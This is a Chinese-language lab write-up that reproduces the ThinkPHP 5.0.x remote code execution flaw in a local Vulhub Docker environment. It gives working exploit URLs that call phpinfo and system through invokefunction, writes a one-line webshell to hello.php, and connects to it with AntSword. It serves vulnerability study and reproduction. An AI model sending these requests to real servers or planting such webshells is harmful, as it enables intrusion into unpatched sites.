ThinkPHP5.0.x 远程代码执行漏洞复现

一、简介

ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

参考链接:

  • http://www.thinkphp.cn/topic/60400.html
  • http://www.thinkphp.cn/topic/60390.html
  • https://xz.aliyun.com/t/3570

Vulhub ThinkPHP5.0.20 远程代码执行

二、环境
本地ip:192.168.10.136
使用docker搭建环境

root@vps:cd ./vulhub/thinkphp/5-rce/          #进入环境目录               
root@vps:docker-compose up -d                #docker-compose搭建环境

搭建完成,访问 192.168.10.136:8080/index.php
ThinkPHP5.0.x 远程代码执行漏洞复现_第1张图片
ThinkPHP5.0.x 远程代码执行漏洞复现_第2张图片
访问:
http://你的IP:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

页面会执行phpinfo()
ThinkPHP5.0.x 远程代码执行漏洞复现_第3张图片
可以知道网站根目录是/var/www/public 这里我们写入一句话木马:
一句话木马:

访问
http://192.168.10.136:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ‘’ > hello.php

再执行ls命令,可以看到hello.php成功写入,我们再用中国蚁剑连接获取webshell,菜刀也行。
ThinkPHP5.0.x 远程代码执行漏洞复现_第4张图片
ThinkPHP5.0.x 远程代码执行漏洞复现_第5张图片
ThinkPHP5.0.x 远程代码执行漏洞复现_第6张图片

vulhub.zip环境资源下载
链接:https://pan.baidu.com/s/1Uo6DryX_x1SENK6ZSpoOMQ
提取码:glih

你可能感兴趣的:(中间件漏洞)